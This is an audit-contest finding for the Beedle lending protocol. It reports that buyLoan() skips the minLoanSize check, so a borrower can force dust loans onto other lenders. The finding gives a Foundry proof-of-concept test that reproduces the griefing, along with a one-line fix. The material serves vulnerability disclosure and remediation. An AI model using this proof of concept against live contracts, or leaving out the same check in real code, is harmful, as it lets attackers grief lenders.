20,000 USDC
View results
Submission Details
Severity: low
Valid

Griefing a lender with dust loans

Summary

In buyLoan(), there is no validation if the totalDebt < pool.minLoanSize. Therefore, a lender can be given a loan with very small loan which he doesn't want at all.

Vulnerability Details

Since buyLoan() can be called by anyone, a malicious borrower can borrow a loan from his own pool with a pretty small minLoanSize so that he/she can self-borrow a small loan from his/her own pool, then forcefully push this loan by calling buyLoan() with his/her own loan to a random pool with enough pool balance of the pairs. Doing this cause griefing to the lender.

POC

  1. We mint the loanToken to borrower so that he can set up his pool in setUp() function of Lender.t.sol

+ loanToken.mint(address(borrower), 100000 * 10 ** 18);
  1. Paste this code into Lender.t.sol: https://github.com/Cyfrin/2023-07-beedle/blob/main/test/Lender.t.sol.
    Right here the borrower set up his pool with very small minLoanSize of 1 * 10 ** 18 and borrow the loan himself/herself.

function test_borrowPoc() public {
vm.startPrank(borrower);
Pool memory p = Pool({
lender: borrower,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 1 * 10 ** 18,
poolBalance: 10 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , , ) = lender.pools(poolId);
assertEq(poolBalance, 10 * 10 ** 18);
Borrow memory b = Borrow({
poolId: poolId,
debt: 1 * 10 ** 18,
collateral: 1 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
assertEq(collateralToken.balanceOf(address(lender)), 1 * 10 ** 18);
}
  1. Paste this code into Lender.t.sol: https://github.com/Cyfrin/2023-07-beedle/blob/main/test/Lender.t.sol.
    Right here the borrower starts the auction for his loan and call buyLoan() with the pool of lender1, which has the minLoanSize value of 100 * 10 ** 18. The test goes through successfully, meaning the loan is bought to the new pool.

function test_bypassMinLoanSize() public {
test_borrowPoc();
// accrue interest
vm.warp(block.timestamp + 1 days);
// kick off auction
vm.startPrank(borrower);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
vm.startPrank(borrower);
lender.buyLoan(0, poolId);
}

Use forge test --mt test_bypassMinLoanSize to run this test case.

Impact

minLoanSize - the minimum loan size they are willing to take (this is to prevent griefing a lender with dust loans). Ref: Contract Overview - https://www.codehawks.com/contests/clkbo1fa20009jr08nyyf9wbx

  1. The protocol declares a minLoanSize validation to address the above issue. However, the buyLoan() is missing this validation and allows an attacker to grief the lender.

  2. The lender may accidentally buy a loan whose size is below his minLoanSize's pool configs via zapBuyLoan().

Tools Used

Manual

Recommendations

Consider implement a validation for min loan size like other functions in the contract after line 485.

485 uint256 totalDebt = loan.debt + lenderInterest + protocolInterest;
+ if (totalDebt < pool.minLoanSize) revert LoanTooSmall();

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!